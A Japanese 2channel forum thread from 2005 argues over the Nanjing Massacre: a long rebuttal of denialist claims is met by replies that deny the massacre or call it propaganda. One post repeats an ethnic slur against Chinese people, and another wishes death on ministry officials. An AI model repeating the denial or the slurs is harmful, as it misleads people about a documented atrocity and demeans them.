→ドイツだけで『資料・ドイツ外交官の見た南京事件』という本が一冊できてしまうほどあるのです。
また1994年にアメリカが公開した当時の文書にも南京事件関連のものが確認されています。

相当の悪臭が漂うはずだが、誰も死臭に言及していない!
→死臭に言及した証言なんて沢山あります。鈴木二郎元記者『私はあの"南京の悲劇"を目撃した』など。

レイプが多発したと言うが、それなら大量の混血児が確認されていないのはおかしい!
→おかしくありません。レイプされた結果受胎した胎児が、堕胎も間引きもされずに育てられ、
レイプで生まれた子供だということが公表される事例なんてどれほどありますか。
日本人と中国人の混血なんて黙っていれば分かりゃしないんですから。

東京裁判で南京虐殺が取り上げられなかったのはおかしい!(こう言った人は本当にいます)
http://members.at.infoseek.co.jp/NankingMassacre/sougou/ts-mokuji.htm

東京裁判の南京虐殺の証拠は、魯甦という人物が5万7418人の虐殺を見たという怪しい証言だけである!
→どこがですか?(上リンク参照)
魯甦証言には確かに不明な点が多いですが、これが唯一の証言でも何でもありません。
なお、日本で虐殺派と呼ばれる研究者もこの5万7418人を入れて十数万と言っているわけではありません。
不確実なものとして最初から除外されているので、否定しても変わりありません。

803 :名無的発言者:05/03/13 23:46:51
東京裁判でパール判事は、日本無罪説を唱えている!
→パール判事が無罪説を唱えたのは、東京裁判が事後法による事と戦勝国の一方的な裁きだからで、
虐殺はなかったなどと思ったからではありません。実際、以下のように述べています。
「証拠に対して悪く言うことの出来る事柄をすべて考慮に入れても、南京における日本兵の行動は凶暴であり、かつ
ベイツ博士が証言したように、残虐はほとんど3週間にわたって惨烈なものであり、合計6週間にわたって、続いて深刻
であったことは疑いない。事態に顕著な改善が見えたのは、ようやく2月6日あるいは7日過ぎてからである」
「提出された証拠に対し言い得るすべてのことを念頭に置いて、宣伝と誇張を出来得る限り斟酌しても、なお残虐行為は
日本軍そのものが占領したある地域の一般民衆、はたまた戦時捕虜に対し犯したものであるという証拠は圧倒的である」
http://www.freeml.com/ctrl/html/MessageForm/peace@freeml.com/1576

裁判では、一旦「証拠採用」されたものは裁判官は正しいものとして判断しなければならない。
この証拠は捏造だなどと裁判官一人では決められないので、パール判事の事実認定は歪んでいる!
→いいえ。証拠採用とは、正しいと前提するという意味ではありません。判断材料として検討するという意味です。
事実、「証拠に対して悪く言うことの出来る事柄をすべて考慮に入れ」「宣伝と誇張を出来得る限り斟酌」したと
パール判事は自らその「判決書」の中で明言しています。
そもそも、弁護側すら残虐行為の事実を否認せず、単に誇張されていたことを訴えていたのです。

弁護側が否認しなかったのは、天皇が訴追されないようにするためには仕方なかったのだ!
→南京虐殺を否認するとなぜ天皇が訴追される確率が高まるのか?意味不明です。

原爆の死亡者は30万人だから、アメリカは東京裁判で南京も30万と捏造し原爆投下を正当化したのだ!
→東京裁判判決は20万です。また原爆の死者は、東京裁判の時点では10万とされていたので、全く関係ありません。
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans5.html

804 :名無的発言者:05/03/13 23:47:12
じゃあ何で戦後になるまで、長い間日本人が誰一人知らなかったんだ!?
→報道管制のため庶民(現場にいた日本軍兵士は別として)は知りませんでしたが、
外交官や高級軍人の中には知っていた人がいくらもいます。石射猪太郎外務省東亜局長、重光葵駐ソ連大使、
法眼晋作外交官、滝川政次郎外交官、岡村寧次大将、真崎甚三大将、阿南惟幾陸軍省人事局長、徳川義寛侍従長、
そしてもちろん松井石根大将など。
また、戦後に報道管制が解け、当時の目撃を証言した日本人ジャーナリストは大勢居ます。

南京大虐殺の証拠写真は、みな捏造が暴かれている!
→写真捏造論の多くは、「NASAの月着陸写真は捏造」レベルのトンデモ説です。
http://www.nextftp.com/tarari/Matsuo/zanshu_hen.htm

南京虐殺の写真には、いつ誰が撮ったのかはっきりしているのが一枚も無い!
→目黒輜重連隊兵站自動車第17中隊の村瀬守保氏、13師団第2野戦病院の佐々木周一軍医、
アメリカ聖公会伝導団のジョン・マギー牧師の写真や映画など、たくさんあります。

それらの写真にも南京大虐殺の全体が映っているわけではない!
→はい。写真は単なる参考資料に過ぎません。
目に見える範囲の一瞬の場面しか映らない写真では、南京大虐殺という大規模・長期間にわたる事件の
証拠にならないのは当然です。肯定派の歴史学者も、別に写真から論証しているわけではありません。
「写真では証拠にならない」というのは歴史修正主義者の勝手な一人相撲です。

安全区委員会の「日本軍の暴行記録」によると、南京での殺人の総数は49件である!
→これは総数でもなんでもなく、挙げられた事例を数えただけに過ぎません。
国際委員会が、これ以外の文書でも犠牲者を報告していることからも明らかです。
委員長のラーベはヒトラー宛ての書簡で、犠牲者を5〜6万と推測していました。
なお、49人というのは板倉由明氏の数え違いですが、彼もそれが総数だなどと馬鹿は言ってません。
http://www.geocities.jp/yu77799/49nin.html

805 :名無的発言者:05/03/13 23:47:36
南京国際安全区委員会は反日的な連中の集まりだった。発言は信用できない!
→一体、安全区委員会の誰が、どういう根拠で反日だったというのでしょうか?
ベイツ教授などは息子を神戸のカナディアン・アカデミーに遊学させていた親日家だったのですが。
また、マギー牧師は弁護士の質問に「自分で目撃した殺人は一件だけ」と、日本軍に有利になる
証言でも正直に話しています。この場面は否定派がよく持ち出しますが、彼が嘘つきだとすると
逆にこの場面の説明がつかなくなってしまいます。さらに、虐殺を記した彼の日記が死後に発見されました。
発表しなかった日記に嘘を書いたとでも言うのでしょうか?

『南京の真実』を書いたラーベは軍需産業ジーメンスの南京支社長で、中国に兵器を輸出していた。
中国の敵国である日本がドイツと接近すると、中国への武器輸出への道が絶たれ儲けがなくなるので、
ラーベはヒトラーに虚偽の虐殺を報告し続けたのだ!
→大嘘です。http://www.geocities.jp/yu77799/rabe3.html

いずれにせよラーベは相手によって、報告する犠牲者数をコロコロ変えている。信用できない奴だ!
→別に相手によって変えているわけではありません。まだ虐殺事件の途中であった1938年1月にラーベは
被害者を数千人程度と推測したが、半年の間に様々な情報が集まり、5〜6万という見解になったというだけです。
http://www.geocities.jp/yu77799/rabe.html

虐殺が無かった証拠に、安全区の委員長ラーベは日本軍にその感謝状を贈っている!
http://members.at.infoseek.co.jp/NankingMassacre/mondai/rabe.html
一読して分かるようにこれは単なる要請書です。歴史修正主義者たちは、冒頭の
外交辞令を強弁して無理矢理「ラーベの感謝状」と呼称しているのです。
しかも1937年12月14日(南京陥落の翌日)のものなので虐殺の否定材料にはなりえません。

厳正なる軍紀で知られた皇軍が虐殺などするものか!
→軍紀の頽廃を嘆く声は軍内部にもいくらでもありました。松井石根・岡村寧次両大将さえ言っています。
http://www.geocities.jp/yu77799/okamura.html

806 :名無的発言者:05/03/13 23:48:31
凶行は中国軍の仕業だ(その1)!米副領事エスピーの報告書に、中国軍の略奪が書かれている!
→エスピー報告書によっても、中国兵の略奪があったのは陥落直前のみで、その後の日本軍は遥かに酷かった
と書かれています。また、中国軍の市民殺害は「殺人をも行いしなるべし」と推量に過ぎません。
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans8.html

凶行は中国軍の仕業だ(その2)!東中野修道氏が指摘する、ニューヨーク・タイムズの
「元支那軍将校が避難民の中に―大佐一味が白状、南京の犯罪を日本軍のせいに」という記事が証拠だ!
→本当とすれば、国際的非難に苦しんでいた日本軍にとって格好の宣伝材料だったはずですが、
そのような宣伝もなく、当時の日本軍要人らの記録にもなく、続報もありません。
否定派の板倉氏ですらガセネタ認定を行い東中野説を批判していると言うシロモノです。
http://www.geocities.jp/yu77799/higasinakano126.html

凶行は難民の仕業だ!『侵華日軍南京大屠殺史料』で中国軍人・郭岐が難民の略奪を記している!
「夜の間は(略)人々は難民区外の大企業、大店舗、大邸宅を好きなだけ物色した」と書かれているのだ!
→そういうのは空き巣といいます。犯罪ですが、凶行とか残虐行為とは言いません。

凶行は朝鮮人の仕業だ!日本に併合されていた朝鮮人の兵士がやったのだ!
→朝鮮人の徴兵は1944年開始。志願兵制すら1938年に入ってから決定されました。

虐殺を証言した日本軍兵士は、中国の「撫順戦犯管理所」で洗脳されたのだ!
→南京虐殺を証言した日本軍兵士には、一度も中国の捕虜になったことのない人が大勢います。
リアルタイムで(つまり捕まる前から)残されていた日誌類も数多くあります。

陣中日誌や戦闘詳報などといっても、「伝聞証拠」なので刑事裁判では証拠にならない!
→別に裁判やってるわけじゃないんですけれどね。刑事訴訟法323条をご覧下さい。
仮に現行法の証拠法則を適用しても、証拠採用は十分可能。日記が証拠になった事件なぞいくらでもあります。
http://www.houko.com/00/01/S23/131A.HTM#323

807 :名無的発言者:05/03/13 23:48:55
日記が証拠になるなら、俺が日記に30万殺したって書けば大虐殺だぜ!
→国も立場も多種多様な人々が、日記以外にも様々な資料に同種の事態を記しています。
『南京大虐殺を記録した皇軍兵士たち』という382頁もある本でさえ、それらの氷山の一角に過ぎません。
執筆者の死後に発見された日記も沢山あります。それらに匹敵する量と質の日記を、書けるものなら書いてください。

日記が信用ならない事は、「東裁判」で裁判所が判断している!
→「東日記」と呼ばれるその資料は、そう呼ばれているだけで日記原本は残っていません。後から書いたメモです。
東裁判では日記が信用ならないのではなく、日記の原本がないからこそ信頼性が薄いと見なされたのです。

戦闘詳報は大本営発表のソースなのだから信用できない!
→大本営発表が大ウソなのは戦闘詳報が元だからではなく、それを歪めて発表したからです。

南京の記録とされているものが、口語体で書かれている!戦後に書かれたことは明白だ!
→口語体は1920年代には普及しています。てか夏目漱石って知ってます?

『南京戦・閉ざされた記憶を尋ねて』は捏造本だ!自称元兵士・鬼頭久ニの年齢を計算すると当時11歳になる。
他にも大量の嘘を、阿羅健一氏が『正論』平成14年11月号において指摘している。
→年齢は誰が見ても単なる誤植に過ぎません。阿羅氏の文章は大量の嘘を、以下で指摘されています。
細かいミスを曲解して「捏造」に仕立て上げて宣伝するのも歴史修正主義者の常套手段です。
http://www.nextftp.com/tarari/arazatsubun.htm

便衣兵を殺すのは、国際法違反者への合法的な処刑である!
兵士が一般市民を装うのは、ハーグ陸戦協定条約附屬書23条で禁じられた「背信の行為」に当たるからだ!
→実は23条には「敵國又ハ敵軍ニ屬スル者ヲ背信ノ行爲ヲ以テ殺傷スルコト」とあります。
背信の行為を使って「殺傷スルコト」を禁じているのであり、単に平服を着ることを禁じているのではありません。
また、たとえ国際法違反者であっても処刑には裁判を必要とします。

808 :名無的発言者:05/03/13 23:49:24
便衣兵に対しては国際法で裁判の必要が無い!便衣兵には捕虜資格が無いのだ!
→捕虜資格がなくなるのは、便衣で戦闘行為を行った者であり、単に平服だった者ではありません。
そもそも捕虜資格があろうが無かろうが、捕らえた相手を裁判無しで殺していいわけではありません。
捕虜資格があるのなら軍法会議、無いのならば軍律会議になるだけです。

そんな規定は空文に過ぎない!世界中どこの軍隊も軍律会議なんてやっちゃいなかった!
→軍律会議は慣習化されていましたし、日本軍も他地域でこの慣習を実行しています。
http://members.at.infoseek.co.jp/NankingMassacre/aandv/ilow01_04.htm
また旧日本海軍の公式文書『戦時国際法規綱要』でも認めています。
http://homepage1.nifty.com/SENSHI/data/syobatu.htm

便衣兵であろうが無かろうが、兵士が中立地帯の安全区にいたこと自体が国際法上の犯罪である!
→国際法上、中立地帯というものは両軍の合意によって成立しますが、日本軍は安全区の承認を拒絶しました。
そもそも掃討のためや強姦などの犯罪行為を行うために、日本兵も安全区に入りまくっています。

拒絶したのは日本軍だけで、中国側は合意していたのだから、中国兵が入るのは犯罪だ!殺してもいい!
→中国軍も合意せず、民間人に過ぎないラーベら委員会の要望を無視し、別途「難民区」を設定しています。

日本軍がやったのは敗残兵の掃討だ!残敵掃討は国際法でも認められている!
→捕まえた相手の裁判無しの処刑や、「命を助けてやるから」と騙して連行した人々の虐殺は明白な犯罪です。
残敵掃討自体は合法ですが、もともと違法な行為が残敵掃討中なら合法になるわけではありません。
http://members.at.infoseek.co.jp/NankingMassacre/mondai/simin.html

捕虜虐殺も、戦闘直後の興奮状態で行われたのなら、責任が阻却される!
→そんな法規がどこにありますか。

万を超えるゲリラを裁判などしていられるものか!
→万を越えるゲリラなどいません。南京のいわゆる便衣兵はゲリラ(平服で戦う者)ではなく、
平服で隠れていただけです。人数によって裁判の義務を免れるなどという規定はありません。

809 :名無的発言者:05/03/13 23:49:59
軍律審判は非公開なのだから、記録に残っていないだけで本当は行ったのだ!
→審判自体が非公開であることと審判した記録を残さないことは全然別の話です。
1937年7月〜38年の1年半の間に(南京に限らず)陸軍の軍律審判で処分された総数が487人しかいません。
また、虐殺自体の日本側証言や記録、中国人幸存者証言が多数残っているのに裁判を行ったという記載が
まるっきり無いのは、裁判を行わずに殺戮したとしか考えられません。

日本軍は妥当な方法で、市民と便衣兵を分けていた!
→実際には選別の基準は「家族がいない」「荷物を担いだ跡がある」「帽子をかぶっていた跡がある」
「靴ずれがある」「面タコがある」「姿勢がいい」「目つきが鋭い」「青壮年だ」などというものでした。

南京は防守都市だったから、たとえ無差別殺戮をしても国際法違反ではなかった!
それを自制した日本軍は賞賛こそされ、非難される筋合いはない!
→自制?無差別攻撃などしたらハーグ協定23条の2と7、27条、46条、55条、56条と違反のオンパレードです。
http://ja.wikipedia.org/wiki/%E3%83%8F%E3%83%BC%E3%82%B0%E9%99%B8%E6%88%A6%E5%8D%94%E5%AE%9A

中国だって日本人を、通州事件で虐殺していたじゃないか!
→通州事件を起こしたのは、国民政府でも共産党軍でもありません。
日本の傀儡政権である「冀東防共自治政府」の保安隊がやったことです。

810 :名無的発言者:05/03/13 23:56:16
なんだか、自国を貶めて嬉しそうだな。なんでだろう?(w

811 :名無的発言者:05/03/14 00:13:35
>>810
言いたいことはそれだけか?

812 :名無的発言者:05/03/14 05:45:44
ああ言えばこう言う、とはまさにこの事。
中国共産党プロパガンダ、乙!

813 :名無的発言者:05/03/14 08:47:47
またこのコピペか。

814 :名無的発言者:05/03/14 09:55:48
糞コピペ乙

815 :名無的発言者:05/03/14 10:23:52
>→南京はもともと百万都市です。日本軍が南京に向かい始めると富裕層をはじめかなりの数が避難し、
>陥落直前には40〜60数万であったとされています。兵士は含んでいません。
>これが、市来義道編『南京』 に掲載の人口統計(警察庁及市政府調査)によれば、
>1938年8月には30万ほどになってしまうのです。激減していると言えます。

この40〜60万というのはどこから来たんだ?
11月23日時点の人口が約50万という話は知っているが、その直後に「将来的には、およそ20万と予想
される難民のための〜」という一文が続く。その後も避難する人は増え続けるわけだが。安全区委員会の
最終的な結論は、日本軍が南京入場した時点で、安全区内で20万〜25万、安全区外が数千人というもの
だったと思うが。


>宗善堂11万2267、紅卍字会4万3123、赤十字会南京分会2万2683、南京維新政府約6000、同善堂7000余、
>埋葬組約7000、回民埋葬隊400余、

この埋葬記録、未だに信じてるヤツいるのか……
宗善堂の11万2267に至っては、東京裁判のときから既に「その誇張・杜撰の信憑し難き表示なること明瞭なり」
と言われてたほどだぞ。

816 :名無的発言者:05/03/14 10:27:22
>最もよくある大嘘のひとつ。1937年当時からスクープされています。

『南京事件』の報道はな。スクープと言うより、毎日のように報道される支那事変関係の記事のうちのひとつと
いった感じだが。
因みに、これのモトネタは、笠原が否定派の言い分から敢えてこれらの記事に関して触れた部分を中略して
(略と示すこともなく)、「こんな報道があるじゃないか」と独り相撲を取ったことから来てる。
元は「当時の国際社会で「南京の暴虐」ということを正式のルートで非難する声は上がっていない。」という主
張だった。


>被害者である中国側が、当時はまったく南京虐殺を糾弾していない。虐殺が後世の捏造である証拠だ!
>虐殺があったのなら、国際連盟で非難されたはずだ!だがそんな記録は皆無!

国際連盟の非難ってこれか? → 『中国政府の提訴にもとづく決議案』『中国政府の声明』
これらによれば、1938年2月1日付の声明で、『南京で日本兵によって虐殺された中国人市民の数は二万人
と見積もられ、その一方で、若い少女を含む何千人もの女性が辱めを受けました。』となっているな。
事件当時の中国政府の主張では虐殺された市民の数が二万人。十万単位の市民虐殺なんて話が出たのは
東京裁判が初めてだ(東京裁判でデッチ上げられた)。


『南京大虐殺』の定義を現実に見合うように拡大していく、否定派の主張を反論に都合の良いように単純化し、
曲解する。肯定派の基本戦術だな。

817 :名無的発言者:05/03/14 20:45:46
南京の人口を把握していないのに30万人虐殺とか、何故かわざわざ捏造写真を作るとか、
実に不思議な事が多い事件だよなぁw

818 :名無的発言者:05/03/14 21:06:16
>817
心にいつも三十万人。
気持ちは真実捏造写真。

819 :名無的発言者:05/03/14 21:37:32
大虐殺あったって今頃言ってる奴はアホです。
プロパガンダです。

820 :名無的発言者:05/03/14 22:26:33
いつまでも捏造物語を教科書に載せてるんじゃねーよ。
文科省の豚どもは。
高い給料もらって、自国の子供たちに自虐意識植え付けようとしているカスは
全員氏ぬべき。

821 :名無的発言者:05/03/14 22:54:10
>>820
でも従軍慰安婦という記述が減ってよかったって言う素晴らしい人もいるではないか!

822 :名無的発言者:05/03/14 23:18:33
別に素晴らしくはない。普通。

823 :名無的発言者:05/03/14 23:42:47
>>799
南京はもともと百万都市です。日本軍が南京に向かい始めると富裕層をはじめかなりの数が避難し、
陥落直前には40〜60数万であったとされています。兵士は含んでいません。
→はい、>>815の言うとおりこの数字はどこから出てきたのかわかりませんね。
ソースを挙げるのはよいのですが身元が確かな資料を出していただきたいですね。
://www5b.biglobe.ne.jp/~nankin/page018.html
によれば、アメリカ大使館報告においては
≪南京の陥落を前にして、人口のおよそ4/5が市を脱出し
主要な部隊は武器、装備もろとも撤退していった。
(アメリカ資料編P239)1938年1月25日≫とあります。ので
100万の4/5と言うことは20万ということです。

これが、市来義道編『南京』 に掲載の人口統計(警察庁及市政府調査)
によれば、 1938年8月には30万ほどになってしまうのです。
激減していると言えます。
→1938年1月に20万で1938年8月には30万ですから
減っているどころか増えていますね。
まあ、あなたの日本憎しのためにここまで考察なさったのには
脱帽しますがどの道、証拠としては検証不十分ですね。あしからず。

824 :名無的発言者:05/03/15 00:43:14
日本軍は戦争の大儀を示すために↓こんなことを
やっているのになんで虐殺をする必要があったのかな?
南京に入城する日本軍に拍手(その1)
://www.history.gr.jp/nanking/fukei_dec13-01.html
南京に入城する日本軍に拍手(その2)
://www.history.gr.jp/nanking/fukei_dec13-02.html

825 :sage:05/03/15 01:30:48
バカハケーーン
http://www.bekkoame.ne.jp/~ymasaki/index.html

826 :名無的発言者:05/03/15 02:02:11
>>800
例:ルワンダの大虐殺では3ヶ月で100万殺されています。凶器はナタ、スコップ、棒きれなどです。
旧日本軍では歩兵1人が、120発の弾丸を携行していました。南京攻略軍を7万としても840万発。
もちろん他にも機関銃や刀などの武器がありました。物理的に可能かというと可能としか言えません。
→ちょっと突っ込むと南京攻略軍は840万発の銃弾を一発も撃たずに南京までの長い道のりを
超えてきたって言ってますか?

827 :名無的発言者:05/03/15 04:15:17
>800
南京攻略軍に7万なんて人数かけません
実際は約8000人です
3ヶ月で100万殺せると言っていますが南京は1週間
もかけずに30万人です
本当にあったならその時に逃げた人もいるので人口が30万人だと
しても一人も逃さず殺さなければなりません
物理的に可能ですか?

828 :名無的発言者:05/03/15 09:54:01
殺すだけならまだしも、死体の処理を初めとした種々の仕事もこなさなきゃならん。

829 :名無的発言者:05/03/15 12:04:46
>この40〜60万というのはどこから来たんだ?
このあたりじゃねえの。http://www.geocities.jp/yu77799/jinkou.html

>東京裁判のときから既に「その誇張・杜撰の信憑し難き表示なること明瞭なり」
>と言われてたほどだぞ。
弁護側によって、な。

>因みに、これのモトネタは、笠原が否定派の言い分から敢えてこれらの記事に関して触れた部分を中略して
>(略と示すこともなく)、「こんな報道があるじゃないか」と独り相撲を取ったことから来てる。
>>799-809は別に、あんたの言うその笠原とケンカした人に反論してるわけじゃないんだが。
あくまで「南京虐殺の報道が全く出ていない!」という風説の対する反論であって、
別の意見を言った人を勝手に持ち出しても、話題のすりかえでしかない。

>元は「当時の国際社会で「南京の暴虐」ということを正式のルートで非難する声は上がっていない。」という主
>張だった。
だったらその主張、結局まちがってるんじゃん。
まさか国際連盟への提訴が「正式のルート」ではないなどと言わないよな?

>→ちょっと突っ込むと南京攻略軍は840万発の銃弾を一発も撃たずに南京までの長い道のりを
>超えてきたって言ってますか?
ちょっと突っ込むと南京攻略軍は一人五発以下の銃弾しか残さない状態で南京に乗り込んだと言ってるのか?

830 :名無的発言者:05/03/15 14:09:45
南京大虐殺ってイリュージョンみたいなもんだな。
これだけインチキ臭いと思われちゃったら、もう国内的には大したことではなくなってる。

831 :名無的発言者:05/03/15 14:55:24
それに虐殺がマジなら中共もここまで騒がないよな


832 :名無的発言者:05/03/15 15:32:22
CHINK チンク
シナの英語圏侮蔑用語です,,,,,,
CHINK チンク
シナの英語圏侮蔑用語です,,,,,,


833 :名無的発言者:05/03/15 17:28:24
http://www.geocities.jp/yu77799/jinkou.html ではスルーしているが、

第九号 日本大使館への手紙 一九三七年十二月十七日
 「私どもは市民のほぼ全員を安全地帯という一地区に集合させていた…」
 ジョン・H・D・ラーベ委員長

から、どう見ても20万前後だと思うが、どうしても40〜60万説を主張するなら、
肯定派が主な根拠としているラーベ及び『国際委員会』の証言がデタラメである
ことを自ら主張しているようなものだ。

834 :名無的発言者:05/03/15 17:39:00
>>829
>別の意見を言った人を勝手に持ち出しても、話題のすりかえでしかない。
いや、だからちゃんとその前に「南京事件」の報道はあったが、「南京大虐殺」の報道はなかった、と。
「因みに」という言葉の意味を知っているか?
民間人に対する十万人単位の虐殺があれば、それこそあの程度の記述で済むわけがないが。

835 :名無的発言者:05/03/15 22:12:47
>>816
>十万単位の市民虐殺なんて話が出たのは
>東京裁判が初めてだ(東京裁判でデッチ上げられた)。
違うな。有名なラーベの『ヒトラーへの上申書』にはこう書いてあるぞ。

「中国側の申し立てによりますと、十万人の民間人が殺されたとの事ですが、これはいくらか
多すぎるのではないでしょうか。我々外国人はおよそ五万から六万とみています。」

>>834
>民間人に対する十万人単位の虐殺があれば、それこそあの程度の記述で済むわけがないが。
ダーディンらは別に、広大な南京行政区をくまなく調査して廻れたわけではないし、
日本軍が報道に対して奇異な妨害をしていたことははっきり知られているんだよ。

836 :名無的発言者:05/03/15 22:39:10
>>807
年齢は誰が見ても単なる誤植に過ぎません。阿羅氏の文章は大量の嘘を、以下で指摘されています。
細かいミスを曲解して「捏造」に仕立て上げて宣伝するのも歴史修正主義者の常套手段です。
→はい、この人は自分の生年月日を訂正したばかりなのに再度、また10年も間違っていますね。
2002年8月15日のニュースステーションで『鬼頭久二さん 76・仮名』
と、一九二六年生まれとハッキリでていたようですね。
://kngtsan.hp.infoseek.co.jp/zatsu/zatsu020913.html
どうやら、10年訂正したことがミスだったようですね。

837 :名無的発言者:05/03/15 23:13:53
>>836
それってNステの中の人が誤植のある本見て書いたんじゃないのか?

838 :名無的発言者:05/03/15 23:40:03
>>835
>>ダーディンらは別に、広大な南京行政区をくまなく調査して廻れたわけではないし
その通りですね。ダーディンは南京には3日しか居ませんでしたから。
>>801のリンク先の
tp://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans16.html
にはNYタイムズをはじめとする外国のメディアが大ニュースとして報じた
とあるが、
実はどのメディアも南京事件を大々的に取り上げていません。上のリンク先に
はNYタイムズの記事しかありませんし、そのNYタイムズの記事ですらトップ一面って
わけでも社説で出している訳でもありませんね。取るにたらない事件だったんですね。
tp://www.history.gr.jp/nanking/reason14.html
↓の「否定論13のウソ」の嘘を暴く-4
tp://www.geocities.co.jp/HeartLand-Himawari/9729/uso4.txt
は嘘だったと言うことです。

839 :名無的発言者:05/03/15 23:44:54
>>837
どうかな、人の生年月日をニュースで流すときに本で調べる
って事はないんじゃないの。

840 :名無的発言者:05/03/15 23:48:53
>>839
そういうケースがよくあるかどうかは知らんが、
本と同じ仮名を使っている以上、本をベースにTVの方も企画してんだろ。

841 :名無的発言者:05/03/15 23:57:10
>>838
報道の量が少なかったのは、情報が少なかったからだろ。
>tp://www.geocities.co.jp/HeartLand-Himawari/9729/uso4.txt
で紹介されている本にも、
>彼らは攻略日本軍の行動
>を観察して、アラ、欠点を探索し第三国の対日輿論を悪化せしめんとするスパイ的存在である
>ので、之が行動を完封した
とある。つまりは日本軍によって報道関係者の活動が「完封」に近いほど妨害されていたということ。

ちなみに外国人ジャーナリストを「スパイ」的存在としているが、
スパイとは嘘を宣伝する者ではなく、「知られたくないことを探り出しに来る」者のことだよなっ。w

842 :名無的発言者:05/03/16 08:31:38
ウソを喧伝するのもスパイの重要な役割なんだが。

843 :名無的発言者:05/03/16 09:40:21
「アラ、欠点を探索」するから妨害した、と書いてあるけどね。

844 :名無的発言者:05/03/16 21:55:22
「アラ、欠点を探索」は別に薬殺を指しているんじゃないジャン。
その後に『それにも況して悪影響の種を蒔いたのは、米国宣教師達
の悪質デマ通信であった。』と書いてあるよ。

845 :名無的発言者:05/03/16 23:58:04
>>1

中国は自分達は被害者面して
チベットとか中国人のいう大虐殺を中国人がやったのに
謝りましたか?お金をあげましたか?
なーんにもやってないですよね。中国政府がチベットに
お金,謝罪したら日本政府も考えます。


846 :名無的発言者:05/03/17 00:02:42
>>1久しぶりに正論を見た
秦郁彦氏の著作は信憑性が高いとおれも考えている。
つまり中国の言うほどじゃないがいずれにしても悪いことはやった
だから江沢民に付け入る隙を与えたわけだ

847 :名無的発言者:05/03/17 00:23:43
>そ れらを無視して「30万人説」しか存在していないかのように言う 相手には気をつけた方がいい。

実際、中国には「30万人説」しか存在していない。ゆえに、

主唱者  殺害人数   備考
板倉由明 1万     捕虜の殺害を違法としない
秦郁彦 4万      捕虜の殺害を違法とする
笠原十九司 10数万  捕虜の殺害を違法とする
東京裁判 20万    捕虜の殺害を違法とする

のような意見があるからと言って、「30万人説」が正しいかのように言う >>1 のような輩には
気をつけた方がいい。

勘違いしてはいけない。全て、中国側の主張する「30万人説」が根拠のないデタラメである
ことを立証しているだけであり、数字に拘っているのはあくまで中国側であることを忘れては
ならない。

848 :名無的発言者:05/03/17 00:36:02
>>844
>「アラ、欠点を探索」は別に薬殺を指しているんじゃないジャン。
では何を指しているんだ。

>その後に『それにも況して悪影響の種を蒔いたのは、米国宣教師達
>の悪質デマ通信であった。』と書いてあるよ。
デマであるという根拠はおろか、どこがデマなのかすら書かれていない。
デマだと単に口先で言い張ってるだけじゃねえか。

>>805より
>南京国際安全区委員会は反日的な連中の集まりだった。発言は信用できない!
>→一体、安全区委員会の誰が、どういう根拠で反日だったというのでしょうか?
>ベイツ教授などは息子を神戸のカナディアン・アカデミーに遊学させていた親日家だったのですが。
>また、マギー牧師は弁護士の質問に「自分で目撃した殺人は一件だけ」と、日本軍に有利になる
>証言でも正直に話しています。この場面は否定派がよく持ち出しますが、彼が嘘つきだとすると
>逆にこの場面の説明がつかなくなってしまいます。さらに、虐殺を記した彼の日記が死後に発見されました。
>発表しなかった日記に嘘を書いたとでも言うのでしょうか?

849 :名無的発言者:05/03/17 00:45:56
まあ、確かに、「薬殺」は指してないと思うw

850 :名無的発言者:05/03/17 00:55:46
南京大薬殺w

何かこっちの方が恐そうだが。

851 :名無的発言者:05/03/17 01:11:15
>>848 だから
「日本軍が鬼畜の行動を為したかの如き通信報道」だろ。
本当はマギー牧師の言うように「自分で目撃した殺人は一件だけ」
なんだから。マギーが日本軍に有利な証言だけをしていたなら
反日派が攻撃しているだろ。

852 :名無的発言者:05/03/17 01:21:38
>>851
だから、そのどこがデマなんだよ。
鬼畜の行動なら日本側の資料にもちゃんと載ってんじゃねえか。

>江岸の処刑場と思われるところに入ると、それぞれ三十数名をのせたトラックが次々と城内から到着していた。
>そして、陸軍兵たちは、彼らを処刑場の一隅につれていって、 後ろ手に縛ったのち、江岸に引き出してきて、
>流れにそった場所に一列に並ばせたのち、日本刀や銃剣で殺害していた。付近にいた陸軍将校の一人に
>「なぜこのようなことをするのか」
> と尋ねたところ、彼は、
>「数日前、一人の勇敢な中国兵が わが陸軍の小隊長級の将校十余名が寝ている寝室にひそかに侵入して、
>全員を刺殺した。そこで、それらの将校たちの部下が、報復のために、 その宿舎の付近の住民を、見せしめの
>目的で、処刑している」
> とのことであった。 翌々日の巡回のさいにも、下関で同様な光景を目撃した。それにしても、多数の中国人を
>大した混乱もなく、下関まで連れてくることに疑問を感じたので、処刑場の入口を警戒していた一人の下士官に尋ねた。
>彼の答は、
>「南京城内で跡片付をさせている中国人に、腹のすいた者は手を上げよ、と言って、彼らを食事の場所に連れて
>いくかのようにしてトラックに乗せてくるとのことです」
> ということであった。そこで、更に、
>「日本刀や銃剣で処刑しているのはなぜか」
> と尋ねたところ、
>「上官から、弾薬を節約するために、そうするように命じられている、とのことです」
> とのことであった。
> そのような処刑が、南京占領後二週間以上もたってからも、連日、手順よく行なわれているとのことであった。
>そのことから察して、それが戦場特有の一時的な興奮状態での対敵行動であるとは私にはどうしても思われなかった。
>言い換えれば、それはある種の統制のとれた行為であると感じざるをえなかった。こう考えてくると、わが陸軍部隊の
>南京占領以後、その数は定かではないが、莫大な数の虐殺が行なわれたことは想像に難くなかった。
(奥宮正武『真珠湾までの五十年 真実の「太平洋戦争」前史』)

853 :名無的発言者:05/03/17 01:30:31
↑別に報復行動は戦争中いくらでもあったぞ?
っていうか日本側が先に殺されてんだからこっちが
一方的に殺したって言い方はおかしいだろ

854 :名無的発言者:05/03/17 01:41:30
>大した混乱もなく、下関まで連れてくることに疑問を感じたので、処刑場の入口を警戒していた一人の下士官に尋ねた。
>彼の答は、
>「南京城内で跡片付をさせている中国人に、腹のすいた者は手を上げよ、と言って、彼らを食事の場所に連れて
>いくかのようにしてトラックに乗せてくるとのことです」

その下士官とやらはなんで裁判の時に証言台に立たなかったのかね(藁


855 :名無的発言者:05/03/17 01:55:33
>>853
殺されてる人々はその攻撃してきた兵士ではなく、
「 付 近 の 住 民 」なわけだが……

856 :名無的発言者:05/03/17 02:03:15
★南京虐殺を否定する学者は皆無という事実★
この表記は実質的にはこれまで日本国内ですら「あった」とされて来た30万人もの「南京大虐殺」
そのものについての信憑性が否定されてしまった事を受けてのトーンダウン表記
なのです。もはや中国のプロパガンダ施設である30万人大屠殺記念館は中共の
